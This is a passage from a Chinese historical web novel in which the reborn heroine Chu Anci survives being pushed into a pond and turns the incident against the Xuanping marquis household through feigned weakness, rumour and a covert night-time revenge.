“姐姐将来是你的嫂嫂,以后也是要做侯府的当家主母的,琼珠,你将来也是要出嫁的,娘家才是你的底气。”
“可是如果你嫂子不待见你,那你的底气从何而来,难道就靠侯夫人吗?可是侯夫人也不可能一辈子都护着你的。”
楚潇雨语重心长,“虽然沈哥哥也会一直护着你,但一些事情,他们做男人的也是照顾不到的,所以这件事就算了,我受点委屈没事的,真的。”
沈琼珠见楚潇雨一心为自己考虑,心中感动。
就连一旁的沈厉岚也暗暗点头。
楚潇雨又看向沈厉岚,“沈哥哥,我没事的,我们走吧!”
“琼珠这会正在气头上,我们还是离开这里吧,难免再发生矛盾。”
沈厉岚深深看了楚安辞一眼,这才颔首,“好。”
楚潇雨又对楚安辞道:“姐姐,你也别将今日的事情放在心上,琼珠心直口快,她不是有意针对你的,你可千万不要记恨她,毕竟她以后是你的小姑子。”
楚安辞看着她,没有说话。
沈琼珠听到那一声小姑子,心中更是恼怒。
她怎么可能会容许这样一个与自己结仇的人做嫂子。
还是一个从野蛮之地回来的,一点都上不得台面的人。
心胸狭隘,斤斤计较,根本就配不上她气质卓绝,清风朗月的哥哥。
沈琼珠想到这里,突然恶从胆边生。
在被楚潇雨拉着,往前面走去的时候,突然察觉身边人往这边靠了一下,自己便顺势,一把将正站在那里毫无防备的楚安辞推了出去。
楚安辞本就在水边站着,这一推直接落入冰冷的水中。
“小姐!”
白灼和蓝英下意识的就要下去救人。
楚潇雨也惊呼一声,“啊,姐姐落水了,来人,快来人。”
身边的沈厉岚看到在水中扑腾的楚安辞,下意识的就要下去。
就在他要跳下去的时候,胳膊被人使劲拽了一下。
楚潇雨一边紧紧拉着沈厉岚的胳膊,一边着急道:
“怎么办,来人,谁来救救姐姐!”
“沈哥哥我好怕,姐姐如果有什么事,我该如何交代?”
这一番拉扯间,沈厉岚没能第一时间下水。
看到着急的不行的楚潇雨,他索性先安慰道:“没事的,会没事的,你放心。”
楚潇雨则一边哭,一边给一直傻傻站在那里的萧玦使眼色。
萧玦终于收到信息,愣了一瞬,有些犹豫:这水,应该很冷的吧?
但看到楚潇雨的眼神,他咬了咬牙,还是奋不顾身的跳了下去。
与此同时,不远处听到声音的几人,也纷纷跳入水中。
寒冷的初冬,水冰冷刺骨。
那几人虽然会水,但因为水太冷了,让他们的行动缓慢了许多。
楚潇雨一边死死拽着沈厉岚不放,一边假装焦急担心的哭。
眼底的笑意一闪而逝:姐姐,你就等着名节尽失,被沈哥哥厌恶,然后退婚吧!
她看着笨拙的往楚安辞那边游去的萧玦,又看看其他几位救人的人,心中暗道:
表哥这也太慢了,别让别人占了先机。
她可不想楚安辞嫁给别人,嫁给自己的表哥是最好的选择。
他这个表哥是什么德行,她可是清楚的很!
并且下水救人的人中,还有两三个身份不错,在京城名声也不错的公子。
这是楚潇雨一点都不像看到的。
其中一个游的最快的,竟然还是萧国公府的那位萧世子。
萧起听到楚安辞落水,几乎是下意识的就跳入水中,直奔中间那道身影。
当他快靠近的时候,却发现那道身影距离他越来越远。
萧起只能腿脚用力,加快速度跟过去。
然而在距离不远,以为快要救到人的时候,就看见那道纤瘦的人影从水中出来。
自己爬上岸,然后被不知道何时已经等在那里的两个丫头接了过去。
紧紧的裹上了厚厚的大氅。
萧起看了看后面,又看了看前面,最后决定从楚安辞上岸的地方爬了上去,一上去便道:
“楚妹妹,你没事吧?”
楚安辞看到萧起也是微微一怔:他这是特意来救我的?
随即摇摇头,声音打着颤,“没事,多谢萧世子!”
太冷了,虽然自己有内力可以驱寒,但这么多人,她没有用。
所以冻得她浑身发抖。
“蓝英,快给萧世子拿大氅来!”
萧起也是为了救自家小姐,蓝英自是感激,很快便拿了大氅过来。
白灼和蓝英护着哆哆嗦嗦的楚安辞,旁边站着萧起,看着跳入水中的人一个个上了岸。
这里也为围了不少人。
楚潇雨怎么也没想到,楚安辞她竟然会水?
没有需要任何人救,自己就爬了上来。
那自己安排的这一切算什么?笑话吗?
看看被人捞上来冻得发抖的表哥,有些恨铁不成钢。
第24章 多么善良的小白花
沈厉岚一边护着楚潇雨,往楚安辞他们这边走来。
楚潇雨还看了白灼和蓝英一眼:这两人之前肯定是装的,不然怎么就这么快找来了大氅,还选了最好的位置等着楚安辞从水里出来!
楚潇雨手不禁紧了紧,攥的沈厉岚的胳膊一疼,“楚二妹妹,你怎么了?”
楚潇雨意识到自己做了什么,连忙松开手,“沈哥哥,我就是太担心姐姐了。”
沈厉岚道:“放心吧,没事了。”
他又看向正哆哆嗦嗦的楚安辞,头发被打湿粘在脸上,嘴唇惨白,脸也白的吓人很是狼狈。
他眉头微蹙,几乎是脱口而出道:“你怎么就这么不小心?”
楚安辞一愣,随即扯出一个难过至极的笑,“我好歹也是世子的未婚妻,看着未婚妻落水,世子不救也就罢了,甚至一句关心都没有,第一句便是指责。”
“世子怎么就不问问,我原本好好站在那里,怎么就落水了?”
沈厉岚眉头紧紧蹙起:这个女人竟然这般对与我说话?
跟在他们后面的沈琼珠双手交握,有些紧张。
当时不觉得什么,这才有些后怕。
萧氏等夫人们听到有人落水,已经都赶了过来。
看到如此情景,萧氏连忙让人去请大夫,拿衣服。
这一通安排完,这才想要问问怎么回事。
就听到楚安辞声音隐忍,又颤抖的指着沈厉岚身后的沈琼珠,“沈小姐,我知你不喜我,但我也不曾得罪过你,何至于这般?”
“你们如果真的容不下我,我不出现在你们面前就是。”
“还有你,沈世子,你们既然如此不喜与我,婚约大可作废,我还不想因为一纸婚约,葬送了自己的性命!”
她嘴唇微颤,热泪顺着脸颊滑落。
看着既让人心疼,又不忍。
有人已经猜出发生了什么,有些惊讶。
“竟是沈家小姐害楚大小姐落水的?”
“楚大小姐那话什么意思?是伯府不想要这门婚事,既如此,那退婚就是,何至于害人性命?”
宣平侯夫人上前道:“这什么话?楚大小姐怎可信口雌黄?”
“琼珠平时是任性了一些,但绝不会做出此等害人性命之事!”
“萧夫人,你们将军府这是何意,想要与我们宣平侯府交恶不成?”
萧氏连忙劝解,“沈夫人莫急,我们且先问问清楚,这其中定然有什么误会。”
然后对楚安辞道:“大姑娘,可别乱说,毁了沈小姐名声与你有什么好处?”
楚安辞身体晃了晃,似是随时要摔倒一般,白灼和蓝英赶紧一左一右扶着她。
楚安辞声音更加有气无力,似乎是在强撑着,“我无意去污沈小姐名声。”
“但我更不会拿自己的身体,就去为了陷害别人,信不信由你们!”
“沈小姐,如果我之前真的哪里得罪了你,这日这一遭,就算是我还你了。”
她又扭头看看萧起,和其他与他们一样正裹的和粽子一样的人,“谢谢你们救我,多谢。”
“白灼,快,给这几位公子请大夫,别因我而落下病......”
“小姐!”白灼声音发抖。
“小姐,你别吓我。”
“蓝英,快将小姐抱回去,小姐着凉晕倒了!”
蓝英和白灼一阵手忙脚乱,抱着楚安辞回了瑶华居。
留下其他人又是一阵唏嘘。
楚家大小姐都那样了,晕倒前还在关心其他人的身体,可见她心地有多善良,岂是那种拿自己身体,去污别人名声之人?
更何况,如果不是她自己水性好,反应快,她的名声可能也就毁了。
事情的真相如何大家没有再去过问,但那神情就知道,他们相信楚安辞。
正主晕倒了,赏花宴也就此散了。
但宣平侯府小姐沈琼珠,推楚大小姐下水,心思恶毒,很快就传扬出去。
这还不算什么,更将宣平侯府推上风口浪尖的,是那位清风朗月的沈世子,未婚妻落水,他非但不救,还质问指责未婚妻。
这样的男人一点担当都没有,不堪为男子。
宣平侯府惹了一身骚,沈世岚和沈琼珠接连几日都没出门。
另一边,瑶华居。
一回到瑶华居,白灼就煮了姜汤,被楚安辞灌了下去。
大夫来看过后,萧氏也了解了情况,过来看了两次。
她来的时候,楚安辞都在昏迷着,便叮嘱了一番。
至于其他,她什么都没说。
一直到房间内没了外人,楚安辞这才睁开眼睛。
她坐起身,什么都没说,先运功将体内的寒气排出。
随着脸色逐渐变得红润,有了血色,白灼提着的一口气这才落下。
“小姐,吓死我了。”
楚安辞道:“我的情况你又不是不清楚,有什么好害怕的。”
“事情怎么样了?”
蓝英道:“话都传出去了,未来这几日宣平侯府都会被留言包围,有关沈世子的话,也跟着一起传了出去。”
楚安辞点头,“那就好,我既然回京了,自然不会再让他们有好日子过。”
白灼道:“真是没想到,那位沈小姐心思竟然这般恶毒,她竟然敢推小姐落水!”
楚安辞冷笑,“他们沈家,没一个好东西。”
“原本她不推,我也是要做些什么的,只是没想到,她竟然自己送上门来了。”
“那我不接着,岂不可惜?”
“只是没想到萧世子竟然会下水救我,白灼,你去库房收拾一些驱寒的药,派人给今日下水救我的几家府上送过去。”
“还有,从库房挑选一些谢礼,随着药一起送去。”
白灼道:“放心吧小姐,这些都安排好了。”
“只是,以小姐的本事,我们本可以直接解决他们,就像那什么沈世子,小姐不喜欢,我给他下药,直接废了就是,为何还要与他们周旋。”
“这些人一而再再而三的针对小姐,我看着都恨不得暴打他们一顿。”
“小姐武功那么高,为啥还要装柔弱,和她们这般周旋?还让自己跟着受罪,岂不得不偿失?”
楚安辞眼睛看向那面海棠春睡图的屏风,眼底一片冷意,唇角却依旧上挑着。
“你觉着,我如果无缘无故直接对他们出手,最后我会如何?”
白灼一愣。
楚安辞心道:虽然我恨他们,但那些事情,毕竟是上一世的他们做的,我如果直接报复,那于我,于将军府,只会带来无尽的麻烦。
“我在他们面前这般,一为将来师出有名。”
“他们为了达成自己的目的,肯定会做什么,那个时候我在出手,岂不是顺理成章?”
“我不能因为自己,让将军府的名声有损,更不能因为我,将父兄置于风口浪尖。”
上一世,因为我害了他们,这一世决不能重蹈覆辙。
“第二,以她们最擅长的方式打败她们,岂不是更有趣?”
“萧氏母女喜欢装,那我就陪她们装,还要比她们装的更好。”
“哼,对上有些人,白刀子进红刀子出,不如钝刀割肉,因为那样她会更疼!”
白灼看楚安辞说这话的时候,忍不住打了个激灵:这样的小姐,好可怕!
楚安辞还在静静望着屏风:三,上一世父兄死的那么容易,以前的我没有多想,可是经过这十二年的相处和了解,我可以确定,哥哥不是那般容易被骗的人。
即便哥哥关心我,那也会安排好一些,不会那般莽撞入了圈套。
哥哥他心思缜密,走一步算十步,不可能看不透沈厉岚那么拙劣的计谋。
但他最后还是进入了死局,这其中定然还有什么,可是是什么呢?
楚安辞眉头深锁,不断地回忆着上一世死前的一幕幕,越想,越觉得蹊跷,越是觉得哪里不对。
楚潇雨为何那般不顾及亲情?只是为了男人,不可能!将军府在,于她来说更有利才对。
沈厉岚即便当时已经入仕,但也没有那样的能力,轻易设计了坐拥几十万大军的爹爹和哥哥。
正在楚安辞沉思之际,外面有丫鬟道:“大小姐,宫里太医来给大小姐请脉。”
楚安辞回神,“太医?”萧氏不是已经给请过大夫了吗?
第25章 不能亏了
太医提着药箱进来,对楚安辞道:“楚大小姐,老夫乃太医院郑太医。”
楚安辞被白灼扶着下了床,行了一礼,“郑太医,麻烦您了。”
郑太医道:“不麻烦,离都督命老夫来,老夫不敢不从!”那位煞神开口,我岂敢不来?
楚安辞一怔,“离都督,是景离让您来的?”他为何会安排太医过来?我们似乎也不熟,这说不通啊!
郑太医颔首,“离都督说,他收了您的礼,答应护您一二,自然要做到。”
楚安辞嘴角一抽:我说的是我需要的时候,而不是这种小事上。
如果需要太医,我将军府又不是不能请!
并且我自己就是大夫,再不济这不还有白灼吗?
心里虽然百转千回,但面上依旧如常。
人来都来了,楚安辞只能认真接待,并让郑太医把脉。
她刻意压着脉象虚弱一些,像是着了凉的样子,骗过了郑太医。
郑太医开了药方,又叮嘱一番,这才准备离开。
楚安辞道:“郑太医且慢!”
“今日我落水时,还有几位公子为了救我,也落了水,还请郑太医能够去给他们看一看,医药费我来出!”
郑太医道:“一个也是看,两个也是看,那老夫跑一趟便是。”
白灼给拿了银子,送走郑太医。
楚安辞看着郑太医离开,心道:这人情左右已经用了,不用的彻底一些,那岂不是亏了?
景离听到灵耀带回来的消息,对楚安辞的操作也是有些无语。
他冷嗤一声:小丫头这是以为,我想用一个太医,清了那壶酒的情?还真是小看我啊!
难道我就这般小气?
他问灵耀,“救人的都有谁?”
灵耀将人名说了一遍。
景离微微垂眸,“萧起竟也有这样舍身的时候,还真是难得。”
灵耀道:“萧世子虽然喜欢流连花丛,但人还是很好的。”
景离又道:“那萧玦可是萧氏的侄儿?”
灵耀颔首,“是,不过这萧玦人品不咋地,吃喝嫖赌样样都占了,是个实打实的纨绔败家子!”
“楚大小姐落水的时候,他距离最近,不过也幸好楚大小姐反应快,没被这样的人救了,不然这辈子就完了。”
景离眼眸一暗,摆了摆手,灵耀退了下去。
他手指点着桌案,一下一下,似是在盘算着什么,眉头微微皱着。
然而就在当晚,夜半子时,两道身影悄悄潜入到宣平侯府。
两人熟门熟路的找到沈琼珠的院子,翻窗而入。
一身黑衣的楚安辞看着正在熟睡的沈琼珠,眼底带上笑意:今日你推我下水,我自当也要还你一二才是,亏本的买卖,我楚安辞从来不做!
楚安辞从袖带里拿出一个木管,上面的木塞打开,一股白烟刚好吹倒沈琼珠的脸上。
楚安辞看了看,收起作案工具,眼底那狡黠的笑掩都掩不住。
随后带着蓝英离开了宣平侯府。
翌日一早,宣平侯府后院就热闹了起来。
原因无他,竟是嫡小姐沈琼珠毁容了。
请了京城有名的大夫,还有太医来看,都只说是过敏了。
但是却没有法子快速治好,只能开药慢慢养着,大约得半个多月才能恢复。
沈琼珠在镜子前,看着布满红疹的脸,心底一团团怒气往上窜。
哗啦一下,将梳妆台上的妆奁全都掀飞了出去。
沈夫人只能安抚,这也是无可奈何之事,幸好半月就好,不然将来还能如何嫁人?
只是好端端的,怎么就过敏了呢!
宣平侯府鸡飞狗跳,楚安辞则安逸的养病。
她在院子里修养的这两日,萧氏和楚潇雨日日都来。
每次都是嘘寒问暖,很是关心。
但这一次,萧氏的神色有些不对。
她看着靠在软榻上,脸上还带着病容的楚安辞,张了张嘴,似乎很是为难。
楚安辞道:“夫人可是有事?”
萧氏叹了口气,“唉,没什么。”
“就是......这几日京城有些不好的传言,与宣平侯府有关!”
楚安辞不动声色。
见楚安辞不接话,萧氏只得自己说下去,“京城都传沈小姐心思恶毒,害人性命,现在糟了报应毁了容。”
“还说沈世子对未婚妻见死不救,薄情寡行,不堪为良人。”
“大姑娘,且不说当日事实如何,但这样的言论传出去,你将来还如何嫁到宣平侯府去?毕竟事情是因你而起啊!”
“虽然他们说的是沈世子和沈小姐,但将来他们也是你的家人,与你也是没什么好处的。”
“并且沈小姐如果坏了名声,嫁不出去,将来你有了孩子,再有人提起现在的事,怕也是不好嫁人的。”
“沈世子还是你的未婚夫,他现在还在科举,这样的传言如果不制止,会影响他仕途的。”
“你不为别人想,自己的未婚夫可不能不管啊!”
萧氏停下,看着楚安辞。
楚安辞咳了两声,喝了口水,然后便盯着茶杯中的茶叶发呆,不接话。
萧氏深吸一口气,只能接着道:“依我看,为了你,也为了你将来嫁过去有好日子过,你看这样好不好?你出面给大家说清楚,说那都是误会,帮宣平侯府澄清一下。”
“这样侯府也会记得你的好,将来嫁过去,日子也能好过一些,你说是不是?”
萧氏看着楚安辞垂下的眼睫,等着她说话。
楚安辞眼睛微微眨了两下,再抬头,脸上已经满是泪水。
“夫人,您叫我去给一个推我下水的人澄清?可有考虑过我的感受?”
“当日我落水后可看得清楚,无论是沈世子还是沈小姐,可都无动于衷,我还是他的未婚妻,而他却紧紧护着妹妹,不曾多管我一下。”
“不知道的,还以为妹妹才是他的未婚妻呢!”
“我知道我俩只有一纸婚约没什么感情,但我也是他名义上的未婚妻,他这般叫我如何不怨?”
“我已经说过了,我不会追究,也烦请夫人为我考虑一下。”
萧氏赶忙道:“大姑娘,话可不能这么说,这是在坏你妹妹的名声啊。”
“你这些年不在京城,可能不知晓。”
“雨儿是跟在沈世子屁股后面长大的,他们二人自小青梅竹马,所以沈世子才会对她像是对妹妹一样,多加看顾一些。”
“这件事情,我可以作证,大姑娘切勿因此多想。”
“如果你实在不喜欢妹妹与世子走得近,回头我就警告雨儿,让她少与沈世子来往就是。”
楚安辞眨了眨眼中的泪,道:“是吗?”
萧氏很是认真的点头,“母亲是不会骗你的。”
楚安辞这才松了口气的样子道:“那就好,我心中虽是不快,但看他们如此,我还想着要不就退了这门亲事,成全他们二人呢!”
萧氏喉头一梗:她什么意思?是真的想要退婚?
如果真是如此,那也不枉费我和雨儿谋划这么多年,那可是侯府,沈世子又有才学在身,将来不愁不能将宣平侯府发扬光大。
但一想到如果真的退了婚,转头自己的女儿又与沈厉岚有了婚约,且不说将军那里如何交代,就是这话说出去怕是也......
萧氏暗自摇头,还得慢慢筹谋才是。
最好是因为楚安辞的缘故,退了这门婚约,既能成全自己的女儿,还不会影响女儿的名声。
“那宣平侯府的事?”
萧氏试探的问。
第26章 道歉
“咳咳,夫人,我身体实在是没好,就不陪夫人说话了。”
“白灼......”楚安辞只是装作虚弱的样子,不停的咳嗽。
对萧氏说的事,丝毫不再做任何回应。
白灼已经搀扶着楚安辞,往内室走去。
独留萧氏坐在那里,萧氏脸沉了沉,又很快装作没什么事的样子,离开了瑶华居。
白灼对着她的背影啐了一口,“我呸,这样的话也有脸说,还一切都是为了小姐呢,换她女儿试试!”
楚安辞勾唇,之前虚弱的模样完全消失,“宣平侯府不拿我当回事,那咱们就看着,看看他们能撑到几时!”
白灼道:“那到时候我们定要狠狠敲他们一笔才好。”
二人相视一眼,都想到一块去了。
楚安辞没再继续谈论这些事情,问道:“之前让你准备的药材都齐全了吗?”
白灼道:“齐全了,不过这次要的有点多,好不容易才凑齐,药材已经送去北境了,年底将军应该能收到。”
“可配好了?”
白灼点头,“嗯,小姐您就放心吧,都是按之前的药方配好的,治疗风寒的,和外伤的都分开放的,到时候将士们可以拿出来直接用。”
楚安辞点头,“那就好!”
“我们虽然不在北境,但那边的供给不能停!”
“今年这般寒冷,北地怕是不好过,也不知道又有多少人会被冻死,多少家的房子会被雪压塌。”
白灼知道小姐的担忧后,道:“现在应该还不至于,不过后面再冷一些......”
“希望在此之前,送药材的队伍能安全到达边关。”说这话的时候,她双手合十成祈祷状。
又过了两日,宣平侯府终于上门了。
“他们终于坐不住了!”
楚安辞听到楚风送进来的消息,唇角微勾。
白灼一边给楚安辞准备大氅,手炉等保暖的东西,一边道:
“现在外面都在传沈小姐推您落水,沈世子对未婚妻见死不救,传的可热闹了。”
“不是骂沈小姐恶毒,就是再说沈世子薄情寡义,想借妹妹的手害死未婚妻,还都在可怜您,说您有这么一个夫家,受大委屈了。”
白灼拿着大氅过来,继续道:
“一会那边肯定会来人请小姐过去,可得捂严实些,毕竟小姐的病还没好彻底呢!”
看到那厚厚的毛绒大氅,楚安辞嘴角抽了抽,“那个,不至于,我一会热的出汗就更不好了。”
她虽然表面看上去弱,其实一点都不弱的,因为练武身体好得很,根本就不怕冷。
白灼顿了顿,好像也是。
她盯着楚安辞道:“要不里面穿少一点,至少外面看上去捂得厚实才行!”
楚安辞觉得有道理,便将里面的一件夹袄脱了下来,外面再裹上厚厚的大氅,一切刚收拾妥当,静安居那边就来人了。
“大小姐,宣平侯府来人了,夫人请您过去。”
“好,这就来!”
楚安辞外面裹着白色狐狸毛的大氅,怀里还抱着一个小手炉,身后跟着白灼和蓝英,随着那丫头往静安居去。
堂屋内,萧氏端坐在上首,另一边是宣平侯府沈夫人。
与她一起来的,还有沈厉岚,这会正阴沉着脸坐在那里。
看到楚安辞进来,他看都没看。
楚安辞也没在意,视线在堂屋内的人身上快速扫过,没看到楚潇雨。
但她却在后面察觉到了一个人的气息。
楚安辞心中冷嗤:这是故意在我面前装样子?那有本事一开始就别来啊,来了还藏起来有什么劲?
“夫人,沈夫人,沈世子!”
楚安辞如往常一般,礼数周全。
萧氏道:“你身体还没大好,快坐吧!”
楚安辞走到沈厉岚的对面坐下,丫鬟上了茶,楚安辞端起来闻了闻,不是自己喜欢的,便又放了回去。
见楚安辞来了一句话也不说,萧氏便主动开口,“安辞啊,沈夫人和世子前来,是为了之前赏花宴的事情给你道歉的。”
楚安辞听她叫自己名字,不禁看了一眼。
要知道平时萧氏为显亲近,可都是叫她大姑娘的,几乎从不叫她名字。
而这个时候叫她名字,是在警告她?
楚安辞没动,依旧没说话。
沈厉岚这时终于抬眼看了她一眼。
只见娇俏的少女,脸埋在狐狸毛中,垂眉敛目。
嘴唇微白,依旧没多少血色。
一双小手抱着一个小手炉,放松的放在腿上。
面上没有什么表情,但似乎又让人觉她受了大委屈,但她什么都不说的样子。
沈夫人这时开口道:“楚大姑娘,我知你们小女儿家心思多,互相之间也没有一切顺意的。”
“那日你落水,我们岚儿也很是忧心,当时岚儿也是要下去救你的,只是晚了一步,却不想事后传出这么多不好听的话。”
“你作为岚儿的未来妻子,合该多为他考虑才是,怎能任由留言毁坏岚儿的名声?”
“作为我们宣平侯府的未来主母,连自己的夫君,侯府的名声都护不住,如何谈掌家?”
“我们女人,能靠的就是男人,你不为男人多做筹谋,一心只想着自己,这叫自私!”
楚安辞冷笑:靠男人?上辈子我是靠了男人,可是最后得到了什么?
我的男人利用我害死我的父兄,谋夺爹爹的兵权,这样的男人那不是靠山,而是吸人骨血的恶魔!
沈夫人顿了顿,或许是觉得自己说的话重了,转而又道:
“岚儿的书读的好,本可以跟他爹一样,凭着侯府的爵位某一个闲职的,但他有自己的打算,一心想要为朝廷效力。”
“他现在已经有举人功名在身,来年科举,很有把握进入殿试,谋得一官半职。”
“甚至还可能夺得状元!”
“这样的夫君,在京城也是各家都想要结亲的对象,但岚儿这些年却一直守着与将军府的婚约,我们侯府也从未想过悔婚。”
“我看过了,你这孩子还算不错,回头再教教规矩,多多调教一番,也是能担一担状元夫人这一身份的。”
话锋一转,“但如果因你之故,影响了岚儿的仕途,那这后果......”
楚安辞听出了沈夫人话中的威胁之人,她心底平淡毫无波澜,脸上却已经惊慌又无助。
“我没有,沈夫人,我与沈世子有婚约在身,自是希望他好的,怎么可能会害他?”
沈夫人道:“我知你心意,可是之前的事情外面人大多不识真相,多有误解,进而影响了岚儿,影响了侯府。”
她丝毫不提沈琼珠,更不提楚安辞落水的真相。
但楚安辞知道,她肯定事后是问清楚了的,故而避重就轻。
左右侯府一荣俱荣一损俱损,侯府名声回来,沈琼珠自然也不会受影响。
楚安辞摇头,“这些我听夫人提过,但这也不是我能左右的,我虽然为世子着急,可却无能为力。”
沈夫人语气柔和了许多,“我知你小女儿家,心思单纯。”
“既然你也担心岚儿,我便给你出个主意,只需对外澄清,说自己是不小心落水的便可!”
楚安辞惊讶的抬起头来,一脸不可置信的看着沈夫人,“沈夫人是让我骗人吗?”
沈夫人一滞,很快反应过来,笑道:“这怎么会是骗人呢?这是事实!”
“姑娘只是将事实说出来而已。”
楚安辞:“可事实并非如此啊,当时真的是沈小姐将我推下水的!”
她既后怕,又委屈,后面的声音都弱了下去。
沈夫人深吸一口气,与萧氏对视一眼。
萧氏对楚安辞道:“大姑娘啊,或许当时是你看错了也不一定,也许真的是你自己落水的呢?”
楚安辞摇头,“如果夫人非要我说谎欺骗大家,安辞听话就是!”
说着眼泪再也管不住的流了下来。
第27章 五百两
萧氏闭了闭眼,道:“我们是在说事实,怎能说是我们逼迫你这般说?”
沈夫人又道:“楚大姑娘莫要如此,好似我们侯府逼迫你一般!”
楚安辞摸了摸眼泪:难道这不就是威胁加逼迫吗?
沈夫人道:“你回来这么些天了,也不曾好好与岚儿说说话,虽然你们有婚约,但没有感情,将来相处也是不易。”
“等来年岚儿登科,考取状元,我们便将你们的婚事提上来,在此之前你们就多多相处。”
“岚儿,等楚大姑娘身体好些,你也该主动邀请她出去坐坐,说说话才是。”
沈厉岚看着楚安辞,点头,“是!”
“楚大小......大妹妹好好将养身体,寒山寺后山的梅花开的正好,回头我来接大妹妹一起去赏梅可好?”
楚安辞清晰的听到了屏风后面,重重的吸气声,她唇角微勾。
“我归京后还不曾出去游玩,既如此那就麻烦沈世子了。”
沈夫人和萧氏齐齐松了口气。
“只是......”
二人那口松到一半的气,又提了上来。
沈厉岚眉宇间也浮上一丝不耐。
“只是我这次落水,寒冬腊月的,对身体损伤颇重,需要多多将养,好好补补身体才是,可能需要沈世子多等些时日了。”
没等沈厉岚说话,沈夫人最先开口道:
“这个无妨,身体要紧。”
“回头我就让人给你送株人参过来,好好补一补。”
白灼似是嘟囔道:“这算什么?我们小姐因为这次落水,补身体花费的银两都能买好几株人参了。”
沈夫人攥了攥帕子,僵笑道:
“再给你送二百两银票过来,我也不知道你还需要什么,送银票过来,缺什么直接买!”
白灼道:“小姐,二百两应该够给您喝两三日了,为了不影响身子,不落下病根,您那保养身子的药可是贵得很。”
沈夫人和萧氏,齐齐倒吸一口气:什么药,两百两才喝两三日?
沈夫人咬牙,只要楚安辞答应挽回一下侯府的名声,多破点财就破点财吧。
反正楚安辞有钱,等她嫁到侯府,她再从她手里十倍百倍的拿回来就是。
“再加三百两,五百两,好歹也得让大姑娘养好身子才是。”
楚安辞心满意足的笑了,“多谢沈夫人好意,劳您破费了!”
送走沈夫人和沈厉岚,楚安辞也没久留,回了瑶华居。
没人了,楚潇雨这才从屏风后面走了出来,“母亲,楚安辞怎可这般无耻,不要脸!”
“还有沈哥哥,他竟然邀请楚安辞去赏梅,却没邀请我!”
萧氏拍着楚潇雨的手,“权宜之计罢了,只要能让那丫头主动出面挽回一下宣平侯府的名声,切略让她高兴高兴!”
“你当分清楚,这些都不算什么,最重要的是男人的心,只要你拿捏住了沈世子的心,还愁争不过她?”
楚潇雨还是嘟着嘴,“可是我不想沈哥哥与她单独相处。”
萧氏叹了口气,“你呀,娘之前教你的,你都忘了不成?”
然后拉着楚潇雨坐下说话。
楚安辞没等多久,就等来了宣平侯府的歉礼,除了一堆养身的药材,还有五百两银票。
楚安辞直接将银票交给蓝英,“交给万管事,让他看着安排!”
蓝英离开,白灼问道:“小姐,您到时真的要陪沈世子去赏梅?”
“他明明就是为了应付您,您不觉得膈应吗?”
楚安辞轻笑一声,“只要他来请,那我为何不去?”
“去了才有热闹不是吗?”
白灼挑眉,“您是说二小姐?”
楚安辞颔首,“刚才人家可是一直在屏风后面听着呢,我就不信,她会眼睁睁看着我与沈厉岚单独相处。”
白灼撇嘴,“真是不要脸,虽然小姐不想要,但沈世子现在也好歹是她名义上的未来姐夫,当小姨子的一心想要勾引姐夫,还要不要脸了。”
楚安辞心道:脸?她们就从来没有过!
“我让你做的药丸可做好了?”
白灼立即回神,不再想着楚潇雨沈厉岚的事,“嗯,已经做好了,小姐,您确定靖安侯府真的会来人请您吗?”
楚安辞很是自信,“自然!”
宣平侯府上门的第二日,京城便又有了传言,说楚大小姐落水事件那都是误会。
人不是沈小姐推的,沈世子也是想要救人的,只是还没等下水,楚大小姐自己就爬上来了。
虽然看似是在澄清,也挽回了一点宣平侯府的名声。
但聪明人都能看得出来,这是宣平侯府逼迫楚大小姐这般说的。
毕竟宣平侯府给将军府送礼这事,当他们都不知道?
这样看来,那位没了亲娘,亲爹和哥哥又不在身边的楚大小姐,更可怜了。
又过了几日,楚安辞的病彻底好了。
病好的第三日,将军府就收到了靖安伯府的帖子。
门房见是给大小姐的,本想先给夫人。
刚好楚风带人路过,直接拿走了帖子,送到了瑶华居。
萧氏闻言也是诧异:好好地,靖安伯府给她送帖子做什么?
“大姑娘何时与靖安伯府有来往了?”
她身边的王嬷嬷道:“不曾!”
“要说认识,也就那日赏花宴的时候,冯夫人还给大小姐说过话,再就是我听下人说,冯大小姐好似与大小姐交谈过几句,还去瑶华居坐了一会。”
“但她们在里面谈了什么,我们的人就不知道了。”
萧氏点了点头,“靖安伯,爵位虽不比侯府,但靖安伯至少在礼部有个实职。”
王嬷嬷道:“那又如何,伯府那位公子平庸,根本不能与沈世子比,将来两家如何还不一定呢!”
“说的也是,那便由着她去吧!不过也派人多盯着点,别给我们惹什么麻烦才是。”
“我与将军的情况,你也最是清楚,将军对这个女儿的态度,你我都看得清!我们不能光明正大对她出手,但也不能让她拖累我们!”
“总之,我与雨儿才是一体的,其他都是外人。”
王嬷嬷颔首:“夫人说的是,二小姐才是夫人的亲生女儿。”
萧氏主仆的谈话,楚安辞不知,她收到请帖后便让人回了话,明日上午过去。
翌日一早用过早膳,略微收拾一下,楚安辞便带着白灼和蓝英出了门。
还是蓝英赶车,白灼提着药箱,上了靖安侯府的大门。
路上白灼有些激动,“这可是小姐在京城打响的第一炮。”
“我已经能看到将来京城显贵,都求上门请小姐看病的盛况了。”
楚安辞笑了笑,没说话,正在低头看着手中的信。
这是她师父刚给她送来的,上面是她那诡秘莫测的师父,最近对医术的一点新的见解。
楚安辞看过后,让白灼拿了笔墨,快速在上面标记了几笔。
白灼道:“小姐,老谷主他又有了新发现?”
楚安辞:“嗯,是有一点进展,不过师父也霍霍了不少药材。”
“我看这上面还有几种稀有的好药,估计这会大师兄肯定又在心痛了,他费劲心思弄来的药,还没开始安排,就被师父拿来做实验了。”
“不过我看信中说,之前我要的一种药大师兄已经给提前留了出来,没被师父用掉,但师父在信中一再说就缺那味药了,看来是已经打上它的主意了。”
“白灼,再拿一张纸,我得单独给大师兄写一封信,让他抓紧派人将药给我送来,不然说不定何时就被师父抢走了。”
“大师兄虽然会拖住师父,但肯定拖不了几时的,药只有到我手中才最安全。”
只要到我手里,师父说什么也拿不走的。
那可是难得的药材啊,可不能让师父再给霍霍了。
第28章 给冯芷兰看诊
楚安辞的信很简短,只寥寥几句就完成了。
然后将信封好交给蓝英,回头蓝英自会安排人送出去。
到靖安伯府门口的时候,冯芷兰已经等在那里了。
见到楚安辞的马车,便欣喜的迎了上来。
“楚大妹妹,你终于来了。”
楚安辞下了车,“冯姐姐,你怎么等在这里,天冷,小心着凉。”
冯芷兰看上去心情很好,“没关系,我穿的厚实着呢。”
“多亏了你的针,前几日从将军府回来,我便去爬了山,去寺庙上了香,还让人搭了秋千。”
“你不知道,这些事情我有多想做,可惜身体不允许,只能看着别人玩的开心,而自己却只能站在一旁看着。”
